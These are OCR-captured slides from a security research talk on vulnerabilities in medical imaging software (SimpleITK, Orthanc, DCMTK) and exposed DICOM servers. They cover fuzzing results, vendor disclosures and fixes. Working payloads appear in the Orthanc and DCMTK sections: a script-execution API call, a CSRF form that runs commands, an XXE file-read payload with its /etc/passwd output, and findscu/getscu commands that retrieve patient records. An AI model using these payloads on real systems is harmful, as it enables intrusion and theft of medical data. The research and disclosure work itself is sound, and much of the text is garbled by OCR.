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AlSec Team 3

AlSec is a community-driven research project focusing on
implementation security of artificial intelligence and machine learning

technologies MACHINE LEARNING
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https://github.com/sdnewhop/AISec
https://github.com/sdnewhop/dicom

Medical Imaging

One of the most popular application of artificial intelligence (Al) is
medical imaging
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DICOM

Digital Imaging and
Communication in Medicine is a
data format and a protocol for
exchanging between various
components, such as PACS,
DICOM viewer, machine learning
pipeline

Detected CIOD: Computed Tomography Image

Specific Character Set: ISO_IR 100

SOP Class UID: 1.2.840.10008.5.1.4.1.1.2

SOP Instance UID: 1.2.840.113654.2.55.3213401741035348603155004672
Modality: CT

Series Description: Axial

Patient's Name: 026470d51482¢c93efc18b9803159¢960

Patient ID: 026470d51482¢93efc18b9803159¢c960

Patient's Birth Date: January 01, 1900
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NVIDIA CLARA 3
CLARA MEDICAL IMAGING

Clara Medical Imaging provides developers the tools to build, manage,
and deploy intelligent imaging workflows and instruments - ushering in
the next-generation of medical imaging.
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NVIDIA CLARA 3
CLARA MEDICAL 1M

Clara Medical Imaging provides deve|[Flis

and deploy intelligent imaging workfl
the next-generation of medical imaqgit
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NVIDIA CLARA

» » DICOM Reader

DICOM Reader

DICOM Reader is a pre-processor that converts DICOM fles into MHD files. Each DICOM series is converted into
a single MHD file, DICOM files are associated with a DICOM series by the Series Instance UID header,

Requirements

Docker
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NVIDIA CLARA

» DICOM Reader

DICOM

DICOM Read
a single MHD

Require

import os
Docker import logging
import(SimplelTK sitk
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SimplelTK 3

e Fuzzing with AFL
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SimplelTK: Heap buffer overflow 3

e Fuzzing with AFL

masha@infinity-desktop:~$ ./DicomSeriesReader heap-overflow.dcm

24915==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f323ad7d800 at pc 0x000000502bcc bp Ox7fff51dfec50 sp Ox7fff51dfed400
WRITE of size 524288 at 0x7f323ad7d80@ thread TO
#0 0x502bcb in __asan_memcpy (/home/masha/DicomSeriesReader+@x502bcb)
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SimplelTK: Heap buffer overflow

iTK

Heap buffer overflow in itkimportimageContainer

B Community pythx K-roleases. d

I Maria Nedyak
Helio!

During an internal security assessment of the medical ML pipeline based on Simple-itk we found heap-
buffer-overfiow in DicomReader.

4 p
Edit 3:
Sorry, there are too many things broken to speak about, this version 1 will open so far HU consistent, i

hope

™

mihail.Isakov 7

The image has

(0028,1053) Rescale Slope <1024 and no (0028,1052) Rescale Intercept attribute, is it wrong, should be
(0028,1053) Rescale Slope 1

(0028,1052) Rescale Intercept -1024

Edit
and, BTW, Pixel Padding Value 65536 is wrong 100 (left as is)

Edit 2
There is Pixel Representation 1 (2's complement, $0 -1024 may be not required at all or it is wrong 100),
wait a minute. ..

Edit3
Sorry, there are 100 many things broken 1o speak about, this version 1 will open so far HU consistent, |

hope
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SimplelTK: Heap buffer overflow

"
iTK
~

Heap buffer overflow in itkimportimageContainer

B Community pyt! tk-roloase j ‘

I Maria Nedyak
Helio!

During an internal security assessment of the medical ML pipeline based on Simple-itk we found heap-
buffer-overfiow in DicomReader.

In the attached flle you can find an exampie of a file that triggers the exception

& example.tar.gz (269.5 KB)

v @«

mihail.isakov

The image has
(0028,1053) Rescale Slope <1024 and no (0028,1052) Rescale Intercept attribute, is it wrong, should be
(0028,1053) Rescale Slope 1

» (0028,1052) Rescale Inercept -1024

WONTFIX

Edit
and, BTW, Pixel Padding Value 65536 Is wrong 100 (left as is)

Edit 2
There is Pixel Representation 1 (2's complement, $0 -1024 may be not required at all or it is wrong t00),

wait a minute...

on

Edit3
Sorry, there are 100 many things broken 10 speak about, this v will open so far HU consistent, |

hope
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SimplelTK: Heap buffer overflow

.
T
~

Heap buffer overflow in itkimportimageContainer

= Community pytt tk-roloases ¢
: Maria Nedyak
b Helio!
dzenanz © DZenan Zukic During an internal security assessment of the medical ML pipeine based on Simple-itk we found heap-

buffer-overfiow in DicomReader.

A fix was commit via this PR: In the attached fe you can find an example of a file that triggers the exception
& example.tar.gz (269.5 KB)
O
® B m Heap buffer overflow in itkimportimageContainer ®
I by malaterre on 26AM - 24 Oct 15 UT(
2 commits changed 2 files with 27 additions and 7 deletions = azs
S & 7 5 5 10 2 e ~

mihail.isakov

+ Reply

The image has

(0028,1053) Rescale Slope <1024 and no (0028,1052) Rescale Intercept attribute, is it wrong, should be
(0028,1053) Rescale Slope 1

(0028,1052) Rescale Intercept -1024

Edit
and, BTW, Pixel Padding Value 65536 Is wrong 100 (left as is)

Edit 2
There is Pixel Representation 1 (2's complement, $0 -1024 may be not required at all or it is wrong 100),
wait a minute...

Edit3
Sorry, there are 100 many things broken 10 speak about, this v will open so far HU consistent, |

hope
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SimplelTK: Buffer overflow

e [512);

>GetPatientName(name);

- 2 definitions

itkGDCMImagelO.cxx

1tkExceptionMacro(<<
ITKIO _DEPRECATED_GDCM1_API

: :GetPatientName ( * name)
>GetMetaDataDictionary()

strcpy(name, m PatientName.cC
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(0008,0005
(0008,0016
(0008,0018
(0008,0060
(

)
)
)
)
0008,103e)
(0010,0010)
)
)
)
)
)

(0010,0020
(0010,0030
(0018,0060
(0020,000d
(0020,000e

SimplelTK: Buffer overflow

SpecificCha
SOPClassUID
SOPInstanc
Modality
SeriesDescr
PatientName
PatientiD
PatientBirth
KVP
Studylnstan
Seriesinsta

ISO_IR 100
1.2.840.10008.5.1.4.1
1.2.840.113654.2.55.32
cT

Axial
32322332322233332323aa
026470d51482¢93ef
19000101

2.25.1047568009314929
2.25.1173246446310626
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SimplelTK: Buffer overflow

(0008,0005) SpecificCha ISO_IR 100
(0008,0016) SOPClassUID 1.2.840.10008.5.1.4.1
(0008,0018) SOPInstanc 1.2.840.113654.2.55.32
(0008,0060) Modality CcT

(0008,103¢e) SeriesDescr Axial

(0010,0010) PatientName aaaaaaaaaaaaaaaaaaaa
(0010,0020) PatientiD 026470d51482¢93ef

N ALY

masha@infinity-desktop:~$%$ ./DicomSeriesReaderGCC example.dcm.new
*¥* buffer overflow detected ***: ./DicomSeriesReaderGCC terminated
Aborted (core dumped)

masha@infinity-desktop:~$
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SimplelTK: Buffer overflow

(0008,0005) CS 10 SpecificCha ISO_IR 100
(0008,0016) Ul 26 SOPClassUID 1.2.840.10008.5.1.4.1
(0008,0018) Ul 60 SOPInstanc 1.2.840.113654.2.55.32
(0008,0060) CS 2 Modality CcT

(0008,103¢e) LO 6 SeriesDescr Axial _
(0010,0010) PN 700 PatientName aaaaaaaaaaaaaa? ’
(0010,0020) LO 32 PatientiD 026470d51482

—_ \.J — - N ALY

masha@infinity-desktop:~$ ./DicomSeriesReaderGCC examp’<
*¥¥* pbuffer overflow detected ***: ./DicomSeriesReader’
Aborted (core dumped)

masha@infinity-desktop:~$

HATIEDAS AR
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ORTHANC

15.1. Orthanc
15.1.1. Overview

nV'D|A Description from the 100l website "Orthanc sms ot providieg 2 smple, yet powerfud standaione DICOM server. It is
gesigned 20 imerove the DICOM Nlows i hosoetals and 1o suDeort research 280ut the Jutomated anaiyus of

AT 24" medical images. Orthanc lets its users focus on the content of the DICOM Sles. hiding the complexity of the
DICOM format and of the DICOM protocol
Orthanc provides a RESTTul APL The DICOM tags of the stored medical imapes can be downicaded in the JSON hile
format. Furthermore, standard PNG mages can be generated on-the-fiy from the DICOM imntances by Orthan

-

:_‘-".".“Q" 50 Teatures 2 PUEDN MeChamism 00 2040 ne'w MoOoouies that extends the core ’,'._‘\):u' es of Bs -'i '_\- AM A

Web viewer, 2 Por . eSOL database back-end 2 “-"y"_‘l:ll database Dack-end, and a reference imgiementaton of

DICOMweb are currently freely avalabie as plugin”
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ORTHANC

15.1. Orthanc

BRRRREN uZF

mstance null

15.1.1. Overview

=

nstance null

Dewcription from the tool website *( e | {
designed %o imorove the DICOM o
0.2 03247245 medical images. Orthanc jets its uset Processed by Clara

DICOM format and of the DICOM p

nstance null

natance null

Tevbes e 8

-~ - Delete this series —————
Orthanc provides a RESTTul AP, Thy == - veemam—— |
Send to DICOM modality

. - o
format. Furthermore. standard PNG Anenymize It

Accwns

nstance null
Proview this serles

Orthanc 350 features 2 plugn mech D ——

Download 29

natance null
2 338388 s |

-
5

Web viewer, 2 PostpreSQL database Downioad DICOMDIR

DICOMweb are currently freely aval

Building Al with Clara Toolkits for Medical Imaging

8 941 npocmoTp * 8 non. 2019 .

& NVIDIA Developer
28,6 ThIC. NOANMCUMKOB
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ORTHANC $

ORTH!ANC

« Lightweight and fast (written in C++),

« Standalone (all the dependencies can be statically linked),

« Cross-platform (at least Linux, Windows and OS X),

« Compliant with the DICOM standard (as it is built on the top of DCMTK),
« Programmer-friendly (REST API, JSON, PNG).
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ORTHANC: IN THE WILD

(Noc) NORTH
P ATLANTIC
ol OCEAN

SOUTH
PACNKC
OCEAN

SOUTH
ATLANTC
OCEAN

Made with Grinder love ¥
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https://github.com/sdnewhop/grinder

ORTHANC: Insecure API 3

& > C @ localhost:8042/tools

"create-archive",
"create-dicom",
"create-media",
"create-media-extended",
"default-encoding”,

n - e n
14
("execute-script",)

Find",
"generate-uid",
"invalidate-tags",
"lookup",
"metrics",
"metrics-prometheus”,
"now",
"now-local",
"reconstruct",
"reset",
"shutdown"
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ORTHANC: Insecure API 3

In [2]: requests.post("http://localhost:8042/tools/execute-script”,
. ... data="command = "mkdir /tmp/test/ORTHANC";os.execute(command)')
Out[&]: <Response [200]>

Marias-MBP:test msh_smlv$ pwd

/tmp/test

Marias-MBP:test msh_smlv$ 1s

Marias-MBP:test msh_smlv$ ls

total @

drwxr-xr-x 2 msh_smlv wheel ©64 Nov 5 21:57 ORTHANC
Marias-MBP:test msh_smlv$ [}
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ORTHANC S

ORTHANC has an official Docker image with enabled
authentication

Orthanc Book

Running the Orthanc core

The following command will start the core of Orthanc, with all the plugins disabled:
$ sudo docker run -p 4242:4242 -p 8042:8042 --rm jodogne/orthanc

Once Orthanc is running, use Mozilla Firefox at URL http://localhost:8042/ to interact with Orthanc. The
default username is orthanc and its password is orthanc.




ORTHANC: CSRF 3

Orthanc web app doesn’t have any CSRF prevention

<html>
<body>
<form action="http://localhost:8042/tools/execute~-script" method="POST" enctype="text/plain">
<input type="hidden" name="cmd" value=""'mkdir /tmp/testCSRF';os.execute(cmd)"/>
<input type="submit" value="Submit request" />
</form>
</body>
</html>

CSRF payload
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ORTHANC: CSRF 3

Séebastien Jodogne <1 jcdogredionhanc s e . 19 ~
Hello,

As now written in the Orthanc FAQ, "In particudar, you must creale a higher-level appication so as 10 propenly deal with CSHF attacks: Indeed,
as expiained in the infroduction, Orthanc is & microservice that is designad 10 be usaed within a secured environment. *

A0S J1DooK. orthanc-sarver.comiag/secur Tv.nemi

HTH,

Sébastien-
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ORTHANC: CSRF 3

& =2 C @& book.orthanc-server.com/fag/security.htm B Y

Orthanc Book

« Consider implementing a higher-level application (e.g. in PHP, Java, Djag
the only one to be allowed to contact the Orthanc REST API. In particu
CSRF attacks: Indeed, as explained in the introduction, Orthanc is a mid

« For advanced scenarios, you might have interest in the advanced autha
the OrthancPluginRegisterIncomingHttpRequestFilter2() Functi

Remark: These parameters also apply to the DICOMweb server plugin.



ORTHANC: CSRF 3

We decided to view orthanc documentation
In google cache
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ORTHANC: CSRF 3

Cache saved at September 25, 2019 doesn’t contain any warning about
CSRF

JT0 Bepcun Crpanmuynl hitps /book orthanc-server.com/fag/security himl n3 xewa Google. Owa npeacraasnser cobon ¢
CTPANMLIN NO COCTORMMO Ma 25 com 2019 07:45:02 GMT. Texywan CTpamua 33 NPOWSALISE DPOMS MOMa
namesuTech. Nonpobsee

orthanc |

Nonuan sepcun TexcToaas pepcun MNpoCMOTPETE MCXOAMLIA XOa

y 1o DaHMUe. raxamrTe CtrieF vnu 2-F (ans MacOS) v esaamre 3anpoc e m

Securing Orthanc
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DCMTK

DCMTK (DICOM Toolkit) is a collection of
libraries and applications implementing large

parts the DICOM standard. DCMTK prototype "I'l

was created in 1993, before the official release
of the standard.’ DICOM@OFFlS

1 https://dicom.offis.de/history.php.en
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https://dicom.offis.de/history.php.en

DCMTK S

10.5. External DICOM Sender and DICOM Receiver

You need an external DICOM Service Class User (SCU) application to send images to the Clara DICOM Adapter
(acting as a DICOM SCP). Similarly when your pipeline finishes executing, you may want to send the output to an
external DICOM receiver. You may want to use an open-source DICOM toolkit called ' demtk ' for external DICOM
sender and DICOM receiver,

10.5.1. Install demtk

Install demtk utilities by issuing the following command:

« Lightweight and fast (written in C++),
sudo apt-get install [dentK « Standalone (all the dependencies can be statically linked),
» Cross-platform (at least Linux, Windows and OS X),
« Compliant with the DICOM standard (as it is built on the top of DCMTK),

NVIDIA Clara’s documentation « Programmer-friendly (REST API, JSON, PNG).

ORTHANC’s documentation
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DCMTK: DoS 3

e Fuzzing with AFL, libFuzzer
Public reports for DCMTK

Dicom Toolkit DCMTK provides tools for working with DICOM files.
We have found the following weaknesses and vulnerabilities:

1. DoS xml2dcm utility
2. DoS dcm2xml utility
3. DoS xml2dcm utility
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DCMTK: XXE $

Testing xml2dcm utility

<?xml version="1.0" encoding="1S0-8859-1"7>
<!DOCTYPE foo |
<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<element tag="0010,0010" vr="PN" vm="1" len="32" name="PatientName">&xxe;</element>

XXE payload
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DCMTK: XXE

Converted file will contain /etc/passwd contents

orcuffii [Rii0eHili[3. 2. s40. 10008.5.1.4.1.1.2[ffll1<1.2.840.113654.2.55.3213401741035
34860315500467253085465271[[J[)1[[1.2.840.10008.1.2. 1[[[{01[[§.2.276.0.7230010.3.0.3.6.4f
Ugnll0FFIS_DCMTK_364CS ‘
150_IR 10[{l)1[{].2.840.10008.5.1.4.1.1.
0046 5 1d>loll '

User Database

1<1.2.840.113654.2.55.3213401741035348603155
g

\

Note that this file is consulted directly only when the system is running
in single-user mode. At other times this information is provided by
Open Directory.

See the opendirectoryd(8) man page for additional information about
Open Directory.

-

obody:*:-2:-2:Unprivileged User:/var/empty: /usr/bin/false
oot:*:0:0:System Administrator:/var/root:/bin/sh

aemon:*:1:1:System Services:/var/root: /usr/bin/false

uucp:*:4:4:Unix to Unix Copy Protocol: /var/spool/uucp: fusr/sbin/uucico
taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false )
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DCMTK: XXE $

KML2DCM HAS ¥ IT,DOESNT WORK
KXEINJECTION; S ON MY MACHINE

Vendor said that this payload does
not work on his machine hence

xm2dcm utility doesn't have the XXE
injection




DCMTK: XXE $

e xml2dcm utility uses libxml2 for reading xml

libxmI2

The Enum » arss ' should not have the following options defined:

e XML_PARSE_NOENT : Expands entities and substitutes them with replacement text

e XML_PARSE_DTDLOAD : Load the external DTD
Note:

Per. According to this post, starting with libxmI2 version 2.9, XXE has been disabled by default as

committed by the following patcl

OWASP XXE prevention cheat sheet
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DCMTK: XXE

Search for the usage of the following APIs to ensure there is no XML_PARSE_NOENT and
XML_PARSE_DTDLOAD defined in the parameters:

¢ xmlCtxtReadDoc

e xmlCtxtReadFd

e xmlCtxtReadFile

e xmlCtxtReadIO

¢ xmlCtxtReadMemory
e xmlCtxtUseOptions
e xmlParseInNodeContext
e xmlReadDoc

e xmlReadFd

¢ xmlReadFile

e xmlReadIO

e xmlReadMemory

OWASP XXE prevention cheat sheet
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DCMTK: XXE $

DCMTK indeed doesn’t use these
options for XML reading. We
continued researching this problem.




DCMTK: XXE $

diff --git a/dcmdata/apps/xml2dcm.cc b/dcemdata/apps/xml2dcm.cc

naex £1548apl. .o639215b09 100644

--- a/dcmdata/apps/xml2dcm.cc
+++ b/dcmdata/apps/xml2dcem.cc
g€ -933,10 +933,11 €@ int main(int argc, char *argv(]))
OFString tmpErrorString;
/* initialize the XML library (only required for MT-safety) */
xmlInitParser();
- /* substitute default entities (XML mnenonics) */
- xmlSubstituteEntitiesDefault(l);
+ /* do not substitute entities (other than the standard ones) */
+ xmlSubstituteEntitiesDefault(0);
/* add line number to debug messages */

Final fix
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DCMTK: XXE $

int
xmlSubstituteEntitiesDefault(int val) {
int old = xmlSubstituteEntitiesDefaultValue;

xmlSubstituteEntitiesDefaultValue = val;

return(old);

libxml2/parserinternals.c
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DCMTK: XXE $

xmlSubstituteEntitiesDefaultValue is used by parser
initialization

ctxt->replaceEntities = xmlSubstituteEntitiesDefaultValue;

1713 ctxt->record_info = 0;
ctxt->nbChars = 0;
ctxt->checkIndex = 0;

libxml2/parserinternals.c (v2.9.1)
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DCMTK: XXE $

xmlSubstituteEntitiesDefaultValue is used by parser
initialization
ctxt->replaceEntities = xmlSubstituteEntitiesDefaultValue;

(i1 (ctxt->replaceEntities) { h

ctxt->options |= XML_PARSE_NOENT; ?

\} S
ctxt->record_info = 0;
ctxt->nbChars = 0;

ctxt->checkIndex = 0;

libxml2/parserinternals.c (v2.9.2)
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If OWASP contained more information about
libxmlI2 we wouldn’t be confused

A\ (V).
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DCMTK: Insecure functionality

xml2dcm utility allows to read local files:

<element tag="7fe0,0010" vr="0W" vm="1" name="PixelData" loaded="no" binary="file'">/etc/passwd</element>

orcu[ii[BENOefHEN1[4.2.840.10008.5.1.4.1.1.2[[fl1<1.2.840.113654.2.55.3213401741035
34860315500467253085465271[If{01[{4.2.840.10008.1.2.1[[[1[[1.2.276.0.7230010.3.0.3.6.4f
[Bu[BrrF1s_bcmTk_364CS )

ISO_IR 10[01[3.2.840110008,5.1.4:1,1.;31<1.2.540.113654.2.ss.3213401741035348603155
0046 5527 csia>[Hof HBNel g

User Database

~

Note that this file is consulted directly only when the system is running
in single-user mode. At other times this information is provided by
Open Directory.

See the opendirectoryd(8) man page for additional information about

Open Directory.
®
obody:*:-2:-2:Unprivileged User: /var/empty: /usr/bin/false
oot:*:0:0:System Administrator:/var/root:/bin/sh
aemon:*:1:1:System Services:/var/root: /usr/bin/false
uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp: fusr/sbin/uucico
taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false )
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DCMTK: Insecure functionality

xml2dcm utility allows to read local files:

<element tag="7fe0,0010" vr="0W" vm="1" name="PixelData" loaded="no" binary="file'">/etc/passwd</element>

orcuii[BENOeHED1[d.2.840.10008.5.1.4.1.1.2[[fll1<1.2.840.113654.2.55.3213401741035
34860315500467253085465271[[[{01[{3.2.840.10008.1.2.1[[J[{I1[[§.2.276.0.7230010.3.0.3.6.4|
[Bu[BrrF1s_bcmTk_364CS )

1S0_IR 1o[ulL1.2.840;19903,5.1.4;1é1.;g1<1.2.840.113654.2.55,3213401741035348603155
0046 5527 Nel §#

User Database

Note that this file is consulted directly only when the system is running
in single-user mode. At other times this information is provided by
Open Directory.

See the opendirectoryd(8) man page for additional information about
Open Directory.

#

obody:*:-2:-2:Unprivileged User: /var/empty: /usr/bin/false
oot:*:0:0:System Administrator:/var/root:/bin/sh

aemon:*:1:1:System Services:/var/root: /usr/bin/false

uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp: /usr/sbin/uucico
taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false

LOCK BOWN



DICOM Network 3

Storage
Archiving

PACS System DICOM

Review for
reporting

Workstation Monitor
DICOM
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DICOM Network: Common methods ¥

Test the connection between two devices (C-ECHO)
Search the content of a remote device (C-FIND)

Retrieve images from a remote device (C-GET, C-MOVE)
Send images from the local imaging device to a remote
device (C-STORE)
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DICOM Network: Retrieving info 3

/ You just need two commands to retrieve data from DICOM server. \
\ /
\ _A
\  (00)\
(N )\/\
[1--=-w |
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DICOM Network: Retrieving info 3

/ findscu -aet <AE Title> -P -k PatientName="*" <host> <port> \

(N )\/\

[1----w |
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DICOM Network: Retrieving info

tax: Little Endian

® =N

RE

T |

\ (00)\
(_N /A

[1----w |
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DICOM Network: Retrieving info

ttle Endian Implicit

L3

10) PN |
,0010) PN |

Warning: (FINDSCU,ANY-SCP

tle Endian Implicit

/ findscu -aet <AE Title> -P -k PatientName="*" <host> <port> \
\ getscu -aet <AE Title> -P -k PatientName="John Doe" <host> <port> /

(N )\/\

[1----w |
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DICOM Network: Retrieving info

p Endian Implicit

310, uL 20

0010,0010) PN | . e PatientName

ignoring detail

W: DIMSE Warning: (FINDSCU,ANY-SCP): finduser: Pending with

I: Find Response: 4999 (Pending)

x: Little Endian Implicit

/ findscu -aet <AE Title> -P -k PatientName="*" <host> <port> \
e \ getscu -aet <AE Title> -P -k PatientName="John Doe" <host> <port> /

— (N )\/\

[1----w |
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DICOM Network: Retrieving info

Little Endian Implicit

GenericGrouplLength

® XN

PatientName

DIMSE Warning: (FIND J,ANY-SCP): f1 er: Pending with statusDetail, ignoring detail

tax: Little Endian Implicit
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DICOM: Usage statistics 3

2019 year: ~ 1000 servers
2020 year: > 2700 servers

Made with Grinder love ¥
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https://github.com/sdnewhop/grinder

DICOM Network: Fuzzing 3

We have added DICOM protocol to AFLNet.

To expand AFLNet you need to add two functions:
& parsing input packets
¢ retrieving status code from server’s response

O https://qgithub.com/aflnet/afinet/tree/master/tutorials/dcmqgrscp
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https://github.com/aflnet/aflnet/tree/master/tutorials/dcmqrscp

DICOM Network: Fuzzing 3

Called Calling (Variable Field)
.II? DU LPDlih I\D/rotqcol Entity Entity Contains one or more
ype ng ersion Title Title ltems shown below

PDU Type is Parsing input
used as server’s packets is based on
status code PDU Length
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DCMTK: Fuzzing

american fuzzy lop 2.56b (dcmgrscp)

process timing overall results
11 days, 20 hrs, 5 min, 8 sec 37.5k
@ days, 4 hrs, 24 min, 22 sec 831
2 days, 5 hrs, 21 min, @ sec 3
none seen yet (%)
cycle progress map coverage
561* (67.51%) 9.30% / 11.07%
0 (0.00%) 2.30 bits/tuple
stage progress findings in depth
splice 6 65 (7.82%)
4/16 (25.00%) 98 (11.79%)
43.2M 4 (3 unique)
32/sec ( ) 16 (8 unique)
path geometry
n/a, n/a, n/ 12
n/a, n/a, n/ 423
n/a, n/a, 2
n/a, n/a, ' 827
n/a, n/a, n/a
421/13.2M, 409/29.9M 4. 8
n/a, n/a

Testinag aborted by user
[+] We're done here. Have a nice day!

dcmqrscp fuzzing with AFLNet
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Vendor

SimplelTK

SimplelTK

Orthanc
DCMTK

DCMTK

Summary

Product

ImageSeriesReader

ImageSeriesReader

Orthanc

xml2dcm
xml2dcm
xml2dcm
dcm2xml

dcmaqrscp

Weakness

Heap-buffer-overflow
Buffer-overflow

CSRF with remote code execution
XXE

DoS

File read functionality

DoS

DoS
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http://www.simpleitk.org/
https://itk.org/SimpleITKDoxygen/html/classitk_1_1simple_1_1ImageSeriesReader.html
http://www.simpleitk.org/
https://itk.org/SimpleITKDoxygen/html/classitk_1_1simple_1_1ImageSeriesReader.html
https://www.orthanc-server.com/
https://www.orthanc-server.com/
https://dicom.offis.de/dcmtk.php.de
https://dicom.offis.de/dcmtk.php.de
https://dicom.offis.de/dcmtk.php.de
https://dicom.offis.de/dcmtk.php.de
https://dicom.offis.de/dcmtk.php.de

AlSec Upcoming talks

+The'Grinder Framework'- Bringind Li¢

Anton Nikolaev

Denis Kolegov

Location: Business Hall, Arsenal Station 2
Date: Thursday, October 1 | 10:00am-11:45am
Track: @ Network Attacks

Session Type: Arsenal

Xt

leackihat

ASIA 2020
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Thank You!
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Maria Nedyak, ‘@msh_smlv



